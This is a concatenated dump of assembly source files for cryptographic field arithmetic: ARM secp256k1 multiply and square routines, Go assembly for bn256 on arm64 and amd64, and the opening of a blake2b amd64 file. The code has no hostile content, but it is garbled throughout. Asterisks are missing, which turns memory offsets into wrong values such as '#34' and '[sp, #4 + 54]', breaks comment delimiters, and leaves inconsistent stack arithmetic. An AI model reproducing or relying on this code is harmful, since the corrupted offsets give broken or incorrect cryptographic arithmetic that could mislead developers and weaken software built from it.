r8 @ c' += a[2] b[4] ldr r0, [r1, #34] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] b[3] ldr r8, [r2, #24] @ b[2] umlal r11, r12, r0, r14 @ c' += a[3] b[3] ldr r7, [r1, #44] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] b[2] ldr r14, [r2, #14] @ b[1] umlal r11, r12, r7, r8 @ c' += a[4] b[2] ldr r0, [r1, #54] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] b[1] ldr r8, [r2, #04] @ b[0] umlal r11, r12, r0, r14 @ c' += a[5] b[1] ldr r7, [r1, #64] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] b[0] ldr r14, [r2, #94] @ b[9] umlal r11, r12, r7, r8 @ c' += a[6] b[0] ldr r0, [r1, #74] @ a[7] umlal r5, r6, r7, r14 @ d += a[6] b[9] ldr r8, [r2, #84] @ b[8] umull r9, r10, r0, r14 @ d' = a[7] b[9] ldr r7, [r1, #84] @ a[8] umlal r5, r6, r0, r8 @ d += a[7] b[8] ldr r14, [r2, #74] @ b[7] umlal r9, r10, r7, r8 @ d' += a[8] b[8] ldr r0, [r1, #94] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] b[7] ldr r8, [r2, #64] @ b[6] umlal r9, r10, r0, r14 @ d' += a[9] b[7] umlal r5, r6, r0, r8 @ d += a[9] * b[6] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 54] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 R1 umlal r3, r4, r0, r14 /* H / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 64] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 R1 umlal r3, r4, r0, r14 /* I - interleaved with J / ldr r8, [r2, #84] @ b[8] ldr r7, [r1, #04] @ a[0] ldr r14, [r2, #74] @ b[7] umull r11, r12, r7, r8 @ c' = a[0] * b[8] ldr r0, [r1, #14] @ a[1] umlal r3, r4, r7, r14 @ c += a[0] b[7] ldr r8, [r2, #64] @ b[6] umlal r11, r12, r0, r14 @ c' += a[1] b[7] ldr r7, [r1, #24] @ a[2] umlal r3, r4, r0, r8 @ c += a[1] b[6] ldr r14, [r2, #54] @ b[5] umlal r11, r12, r7, r8 @ c' += a[2] b[6] ldr r0, [r1, #34] @ a[3] umlal r3, r4, r7, r14 @ c += a[2] b[5] ldr r8, [r2, #44] @ b[4] umlal r11, r12, r0, r14 @ c' += a[3] b[5] ldr r7, [r1, #44] @ a[4] umlal r3, r4, r0, r8 @ c += a[3] b[4] ldr r14, [r2, #34] @ b[3] umlal r11, r12, r7, r8 @ c' += a[4] b[4] ldr r0, [r1, #54] @ a[5] umlal r3, r4, r7, r14 @ c += a[4] b[3] ldr r8, [r2, #24] @ b[2] umlal r11, r12, r0, r14 @ c' += a[5] b[3] ldr r7, [r1, #64] @ a[6] umlal r3, r4, r0, r8 @ c += a[5] b[2] ldr r14, [r2, #14] @ b[1] umlal r11, r12, r7, r8 @ c' += a[6] b[2] ldr r0, [r1, #74] @ a[7] umlal r3, r4, r7, r14 @ c += a[6] b[1] ldr r8, [r2, #04] @ b[0] umlal r11, r12, r0, r14 @ c' += a[7] b[1] ldr r7, [r1, #84] @ a[8] umlal r3, r4, r0, r8 @ c += a[7] b[0] ldr r14, [r2, #94] @ b[9] umlal r11, r12, r7, r8 @ c' += a[8] b[0] ldr r0, [r1, #94] @ a[9] umlal r5, r6, r7, r14 @ d += a[8] b[9] ldr r8, [r2, #84] @ b[8] umull r9, r10, r0, r14 @ d' = a[9] b[9] umlal r5, r6, r0, r8 @ d += a[9] * b[8] bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 74] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 R1 umlal r3, r4, r0, r14 /* J / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 84] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 * R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] / ldr r0, [sp, #0] add r1, sp, #4 + 34 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #34 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #84] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 04 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #94] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #04] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #14] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #24] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_mul_inner, .-secp256k1_fe_mul_inner .align 2 .global secp256k1_fe_sqr_inner .type secp256k1_fe_sqr_inner, %function .hidden secp256k1_fe_sqr_inner @ Arguments: @ r0 r Can overlap with a @ r1 a @ Stack (total 4+104 = 44) @ sp + #0 saved 'r' pointer @ sp + #4 + 4X t0,t1,t2,t3,t4,t5,t6,t7,u8,t9 secp256k1_fe_sqr_inner: stmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, r14} sub sp, sp, #48 @ frame=44 + alignment str r0, [sp, #0] @ save result address, we need it only at the end /****************************************** * Main computation code. ****************************************** Allocation: r0,r14,r2,r7,r8 scratch r1 a (pointer) r3:r4 c r5:r6 d r11:r12 c' r9:r10 d' Note: do not write to r[] here, it may overlap with a[] / / A interleaved with B / ldr r0, [r1, #14] @ a[1]2 ldr r7, [r1, #04] @ a[0] mov r0, r0, asl #1 ldr r14, [r1, #94] @ a[9] umull r3, r4, r7, r7 @ c = a[0] a[0] ldr r8, [r1, #84] @ a[8] mov r7, r7, asl #1 umull r5, r6, r7, r14 @ d = a[0]2 * a[9] ldr r7, [r1, #24] @ a[2]2 umull r9, r10, r0, r14 @ d' = a[1]2 a[9] ldr r14, [r1, #74] @ a[7] umlal r5, r6, r0, r8 @ d += a[1]2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #34] @ a[3]2 umlal r9, r10, r7, r8 @ d' += a[2]2 a[8] ldr r8, [r1, #64] @ a[6] umlal r5, r6, r7, r14 @ d += a[2]2 * a[7] mov r0, r0, asl #1 ldr r7, [r1, #44] @ a[4]2 umlal r9, r10, r0, r14 @ d' += a[3]2 a[7] ldr r14, [r1, #54] @ a[5] mov r7, r7, asl #1 umlal r5, r6, r0, r8 @ d += a[3]2 * a[6] umlal r9, r10, r7, r8 @ d' += a[4]2 a[6] umlal r5, r6, r7, r14 @ d += a[4]2 a[5] umlal r9, r10, r14, r14 @ d' += a[5] * a[5] bic r0, r5, field_not_M @ t9 = d & M str r0, [sp, #4 + 94] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 / B / adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u0 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u0 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t0 = c & M str r14, [sp, #4 + 04] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u0 R1 umlal r3, r4, r0, r14 /* C interleaved with D / ldr r0, [r1, #04] @ a[0]2 ldr r14, [r1, #14] @ a[1] mov r0, r0, asl #1 ldr r8, [r1, #24] @ a[2] umlal r3, r4, r0, r14 @ c += a[0]2 * a[1] mov r7, r8, asl #1 @ a[2]2 umull r11, r12, r14, r14 @ c' = a[1] a[1] ldr r14, [r1, #94] @ a[9] umlal r11, r12, r0, r8 @ c' += a[0]2 * a[2] ldr r0, [r1, #34] @ a[3]2 ldr r8, [r1, #84] @ a[8] umlal r5, r6, r7, r14 @ d += a[2]2 * a[9] mov r0, r0, asl #1 ldr r7, [r1, #44] @ a[4]2 umull r9, r10, r0, r14 @ d' = a[3]2 a[9] ldr r14, [r1, #74] @ a[7] umlal r5, r6, r0, r8 @ d += a[3]2 * a[8] mov r7, r7, asl #1 ldr r0, [r1, #54] @ a[5]2 umlal r9, r10, r7, r8 @ d' += a[4]2 a[8] ldr r8, [r1, #64] @ a[6] mov r0, r0, asl #1 umlal r5, r6, r7, r14 @ d += a[4]2 * a[7] umlal r9, r10, r0, r14 @ d' += a[5]2 a[7] umlal r5, r6, r0, r8 @ d += a[5]2 a[6] umlal r9, r10, r8, r8 @ d' += a[6] * a[6] bic r0, r5, field_not_M @ u1 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u1 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t1 = c & M str r14, [sp, #4 + 14] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u1 R1 umlal r3, r4, r0, r14 /* D / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u2 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u2 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t2 = c & M str r14, [sp, #4 + 24] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u2 R1 umlal r3, r4, r0, r14 /* E interleaved with F / ldr r7, [r1, #04] @ a[0]2 ldr r0, [r1, #14] @ a[1]2 ldr r14, [r1, #24] @ a[2] mov r7, r7, asl #1 ldr r8, [r1, #34] @ a[3] ldr r2, [r1, #44] umlal r3, r4, r7, r8 @ c += a[0]2 a[3] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]2 a[4] mov r2, r2, asl #1 @ a[4]2 umlal r11, r12, r0, r8 @ c' += a[1]2 * a[3] ldr r8, [r1, #94] @ a[9] umlal r3, r4, r0, r14 @ c += a[1]2 * a[2] ldr r0, [r1, #54] @ a[5]2 umlal r11, r12, r14, r14 @ c' += a[2] * a[2] ldr r14, [r1, #84] @ a[8] mov r0, r0, asl #1 umlal r5, r6, r2, r8 @ d += a[4]2 * a[9] ldr r7, [r1, #64] @ a[6]2 umull r9, r10, r0, r8 @ d' = a[5]2 a[9] mov r7, r7, asl #1 ldr r8, [r1, #74] @ a[7] umlal r5, r6, r0, r14 @ d += a[5]2 * a[8] umlal r9, r10, r7, r14 @ d' += a[6]2 a[8] umlal r5, r6, r7, r8 @ d += a[6]2 a[7] umlal r9, r10, r8, r8 @ d' += a[7] * a[7] bic r0, r5, field_not_M @ u3 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u3 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t3 = c & M str r14, [sp, #4 + 34] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u3 R1 umlal r3, r4, r0, r14 /* F / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u4 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u4 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t4 = c & M str r14, [sp, #4 + 44] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u4 R1 umlal r3, r4, r0, r14 /* G interleaved with H / ldr r7, [r1, #04] @ a[0]2 ldr r0, [r1, #14] @ a[1]2 mov r7, r7, asl #1 ldr r8, [r1, #54] @ a[5] ldr r2, [r1, #64] @ a[6] umlal r3, r4, r7, r8 @ c += a[0]2 * a[5] ldr r14, [r1, #44] @ a[4] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]2 * a[6] ldr r7, [r1, #24] @ a[2]2 umlal r11, r12, r0, r8 @ c' += a[1]2 a[5] mov r7, r7, asl #1 ldr r8, [r1, #34] @ a[3] umlal r3, r4, r0, r14 @ c += a[1]2 * a[4] mov r0, r2, asl #1 @ a[6]2 umlal r11, r12, r7, r14 @ c' += a[2]2 * a[4] ldr r14, [r1, #94] @ a[9] umlal r3, r4, r7, r8 @ c += a[2]2 * a[3] ldr r7, [r1, #74] @ a[7]2 umlal r11, r12, r8, r8 @ c' += a[3] * a[3] mov r7, r7, asl #1 ldr r8, [r1, #84] @ a[8] umlal r5, r6, r0, r14 @ d += a[6]2 * a[9] umull r9, r10, r7, r14 @ d' = a[7]2 a[9] umlal r5, r6, r7, r8 @ d += a[7]2 a[8] umlal r9, r10, r8, r8 @ d' += a[8] * a[8] bic r0, r5, field_not_M @ u5 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u5 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t5 = c & M str r14, [sp, #4 + 54] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u5 R1 umlal r3, r4, r0, r14 /* H / adds r3, r3, r11 @ c += c' adc r4, r4, r12 adds r5, r5, r9 @ d += d' adc r6, r6, r10 bic r0, r5, field_not_M @ u6 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u6 R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t6 = c & M str r14, [sp, #4 + 64] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u6 R1 umlal r3, r4, r0, r14 /* I interleaved with J / ldr r7, [r1, #04] @ a[0]2 ldr r0, [r1, #14] @ a[1]2 mov r7, r7, asl #1 ldr r8, [r1, #74] @ a[7] ldr r2, [r1, #84] @ a[8] umlal r3, r4, r7, r8 @ c += a[0]2 * a[7] ldr r14, [r1, #64] @ a[6] mov r0, r0, asl #1 umull r11, r12, r7, r2 @ c' = a[0]2 * a[8] ldr r7, [r1, #24] @ a[2]2 umlal r11, r12, r0, r8 @ c' += a[1]2 a[7] ldr r8, [r1, #54] @ a[5] umlal r3, r4, r0, r14 @ c += a[1]2 * a[6] ldr r0, [r1, #34] @ a[3]2 mov r7, r7, asl #1 umlal r11, r12, r7, r14 @ c' += a[2]2 a[6] ldr r14, [r1, #44] @ a[4] mov r0, r0, asl #1 umlal r3, r4, r7, r8 @ c += a[2]2 * a[5] mov r2, r2, asl #1 @ a[8]2 umlal r11, r12, r0, r8 @ c' += a[3]2 * a[5] umlal r3, r4, r0, r14 @ c += a[3]2 a[4] umlal r11, r12, r14, r14 @ c' += a[4] * a[4] ldr r8, [r1, #94] @ a[9] umlal r5, r6, r2, r8 @ d += a[8]2 * a[9] @ r8 will be used in J bic r0, r5, field_not_M @ u7 = d & M mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u7 * R0 umlal r3, r4, r0, r14 bic r14, r3, field_not_M @ t7 = c & M str r14, [sp, #4 + 74] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u7 R1 umlal r3, r4, r0, r14 /* J / adds r3, r3, r11 @ c += c' adc r4, r4, r12 umlal r5, r6, r8, r8 @ d += a[9] a[9] bic r0, r5, field_not_M @ u8 = d & M str r0, [sp, #4 + 84] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R0 @ c += u8 R0 umlal r3, r4, r0, r14 /****************************************** * compute and write back result ****************************************** Allocation: r0 r r3:r4 c r5:r6 d r7 t0 r8 t1 r9 t2 r11 u8 r12 t9 r1,r2,r10,r14 scratch Note: do not read from a[] after here, it may overlap with r[] / ldr r0, [sp, #0] add r1, sp, #4 + 34 @ r[3..7] = t3..7, r11=u8, r12=t9 ldmia r1, {r2,r7,r8,r9,r10,r11,r12} add r1, r0, #34 stmia r1, {r2,r7,r8,r9,r10} bic r2, r3, field_not_M @ r[8] = c & M str r2, [r0, #84] mov r3, r3, lsr #26 @ c >>= 26 orr r3, r3, r4, asl #6 mov r4, r4, lsr #26 mov r14, field_R1 @ c += u8 * R1 umlal r3, r4, r11, r14 movw r14, field_R0 @ c += d * R0 umlal r3, r4, r5, r14 adds r3, r3, r12 @ c += t9 adc r4, r4, #0 add r1, sp, #4 + 04 @ r7,r8,r9 = t0,t1,t2 ldmia r1, {r7,r8,r9} ubfx r2, r3, #0, #22 @ r[9] = c & (M >> 4) str r2, [r0, #94] mov r3, r3, lsr #22 @ c >>= 22 orr r3, r3, r4, asl #10 mov r4, r4, lsr #22 movw r14, field_R1 << 4 @ c += d * (R1 << 4) umlal r3, r4, r5, r14 movw r14, field_R0 >> 4 @ d = c * (R0 >> 4) + t0 (64x64 multiply+add) umull r5, r6, r3, r14 @ d = c.lo * (R0 >> 4) adds r5, r5, r7 @ d.lo += t0 mla r6, r14, r4, r6 @ d.hi += c.hi * (R0 >> 4) adc r6, r6, 0 @ d.hi += carry bic r2, r5, field_not_M @ r[0] = d & M str r2, [r0, #04] mov r5, r5, lsr #26 @ d >>= 26 orr r5, r5, r6, asl #6 mov r6, r6, lsr #26 movw r14, field_R1 >> 4 @ d += c (R1 >> 4) + t1 (64x64 multiply+add) umull r1, r2, r3, r14 @ tmp = c.lo * (R1 >> 4) adds r5, r5, r8 @ d.lo += t1 adc r6, r6, #0 @ d.hi += carry adds r5, r5, r1 @ d.lo += tmp.lo mla r2, r14, r4, r2 @ tmp.hi += c.hi * (R1 >> 4) adc r6, r6, r2 @ d.hi += carry + tmp.hi bic r2, r5, field_not_M @ r[1] = d & M str r2, [r0, #14] mov r5, r5, lsr #26 @ d >>= 26 (ignore hi) orr r5, r5, r6, asl #6 add r5, r5, r9 @ d += t2 str r5, [r0, #24] @ r[2] = d add sp, sp, #48 ldmfd sp!, {r4, r5, r6, r7, r8, r9, r10, r11, pc} .size secp256k1_fe_sqr_inner, .-secp256k1_fe_sqr_inner .section .note.GNU-stack,"",%progbits
0xPolygon/bor	1,870	crypto/bn256/cloudflare/gfp_arm64.s	// +build arm64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVD a0, 0+r \ MOVD a1, 8+r \ MOVD a2, 16+r \ MOVD a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVD 0+r, a0 \ MOVD 8+r, a1 \ MOVD 16+r, a2 \ MOVD 24+r, a3 #define loadModulus(p0,p1,p2,p3) \ MOVD ·p2+0(SB), p0 \ MOVD ·p2+8(SB), p1 \ MOVD ·p2+16(SB), p2 \ MOVD ·p2+24(SB), p3 #include "mul_arm64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) loadModulus(R5,R6,R7,R8) SUBS R1, R5, R1 SBCS R2, R6, R2 SBCS R3, R7, R3 SBCS R4, R8, R4 SUBS R5, R1, R5 SBCS R6, R2, R6 SBCS R7, R3, R7 SBCS R8, R4, R8 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) MOVD ZR, R0 ADDS R5, R1 ADCS R6, R2 ADCS R7, R3 ADCS R8, R4 ADCS ZR, R0 SUBS R9, R1, R5 SBCS R10, R2, R6 SBCS R11, R3, R7 SBCS R12, R4, R8 SBCS ZR, R0, R0 CSEL CS, R5, R1, R1 CSEL CS, R6, R2, R2 CSEL CS, R7, R3, R3 CSEL CS, R8, R4, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpSub(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) loadModulus(R9,R10,R11,R12) SUBS R5, R1 SBCS R6, R2 SBCS R7, R3 SBCS R8, R4 CSEL CS, ZR, R9, R9 CSEL CS, ZR, R10, R10 CSEL CS, ZR, R11, R11 CSEL CS, ZR, R12, R12 ADDS R9, R1 ADCS R10, R2 ADCS R11, R3 ADCS R12, R4 MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET TEXT ·gfpMul(SB),0,$0-24 MOVD a+8(FP), R0 loadBlock(0(R0), R1,R2,R3,R4) MOVD b+16(FP), R0 loadBlock(0(R0), R5,R6,R7,R8) mul(R9,R10,R11,R12,R13,R14,R15,R16) gfpReduce() MOVD c+0(FP), R0 storeBlock(R1,R2,R3,R4, 0(R0)) RET
0xPolygon/bor	2,193	crypto/bn256/cloudflare/gfp_amd64.s	// +build amd64,!generic #define storeBlock(a0,a1,a2,a3, r) \ MOVQ a0, 0+r \ MOVQ a1, 8+r \ MOVQ a2, 16+r \ MOVQ a3, 24+r #define loadBlock(r, a0,a1,a2,a3) \ MOVQ 0+r, a0 \ MOVQ 8+r, a1 \ MOVQ 16+r, a2 \ MOVQ 24+r, a3 #define gfpCarry(a0,a1,a2,a3,a4, b0,b1,b2,b3,b4) \ \ // b = a-p MOVQ a0, b0 \ MOVQ a1, b1 \ MOVQ a2, b2 \ MOVQ a3, b3 \ MOVQ a4, b4 \ \ SUBQ ·p2+0(SB), b0 \ SBBQ ·p2+8(SB), b1 \ SBBQ ·p2+16(SB), b2 \ SBBQ ·p2+24(SB), b3 \ SBBQ $0, b4 \ \ \ // if b is negative then return a \ // else return b CMOVQCC b0, a0 \ CMOVQCC b1, a1 \ CMOVQCC b2, a2 \ CMOVQCC b3, a3 #include "mul_amd64.h" #include "mul_bmi2_amd64.h" TEXT ·gfpNeg(SB),0,$0-16 MOVQ ·p2+0(SB), R8 MOVQ ·p2+8(SB), R9 MOVQ ·p2+16(SB), R10 MOVQ ·p2+24(SB), R11 MOVQ a+8(FP), DI SUBQ 0(DI), R8 SBBQ 8(DI), R9 SBBQ 16(DI), R10 SBBQ 24(DI), R11 MOVQ $0, AX gfpCarry(R8,R9,R10,R11,AX, R12,R13,R14,CX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpAdd(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ $0, R12 ADDQ 0(SI), R8 ADCQ 8(SI), R9 ADCQ 16(SI), R10 ADCQ 24(SI), R11 ADCQ $0, R12 gfpCarry(R8,R9,R10,R11,R12, R13,R14,CX,AX,BX) MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpSub(SB),0,$0-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI loadBlock(0(DI), R8,R9,R10,R11) MOVQ ·p2+0(SB), R12 MOVQ ·p2+8(SB), R13 MOVQ ·p2+16(SB), R14 MOVQ ·p2+24(SB), CX MOVQ $0, AX SUBQ 0(SI), R8 SBBQ 8(SI), R9 SBBQ 16(SI), R10 SBBQ 24(SI), R11 CMOVQCC AX, R12 CMOVQCC AX, R13 CMOVQCC AX, R14 CMOVQCC AX, CX ADDQ R12, R8 ADCQ R13, R9 ADCQ R14, R10 ADCQ CX, R11 MOVQ c+0(FP), DI storeBlock(R8,R9,R10,R11, 0(DI)) RET TEXT ·gfpMul(SB),0,$160-24 MOVQ a+8(FP), DI MOVQ b+16(FP), SI // Jump to a slightly different implementation if MULX isn't supported. CMPB ·hasBMI2(SB), $0 JE nobmi2Mul mulBMI2(0(DI),8(DI),16(DI),24(DI), 0(SI)) storeBlock( R8, R9,R10,R11, 0(SP)) storeBlock(R12,R13,R14,CX, 32(SP)) gfpReduceBMI2() JMP end nobmi2Mul: mul(0(DI),8(DI),16(DI),24(DI), 0(SI), 0(SP)) gfpReduce(0(SP)) end: MOVQ c+0(FP), DI storeBlock(R12,R13,R14,CX, 0(DI)) RET
0xsequence/ethkit	7,684	go-ethereum/crypto/blake2b/blake2b_amd64.s	// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build amd64,!gccgo,!appengine #include "textflag.h" DATA ·iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·iv0<>(SB), (NOPTR+RODATA), $16 DATA ·iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·iv1<>(SB), (NOPTR+RODATA), $16 DATA ·iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·iv2<>(SB), (NOPTR+RODATA), $16 DATA ·iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·iv3<>(SB), (NOPTR+RODATA), $16 DATA ·c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·c40<>(SB), (NOPTR+RODATA), $16 DATA ·c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·c48<>(SB), (NOPTR+RODATA), $16 #define SHUFFLE(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v6, t1; \ PUNPCKLQDQ v6, t2; \ PUNPCKHQDQ v7, v6; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ v7, t2; \ MOVO t1, v7; \ MOVO v2, t1; \ PUNPCKHQDQ t2, v7; \ PUNPCKLQDQ v3, t2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v3 #define SHUFFLE_INV(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ 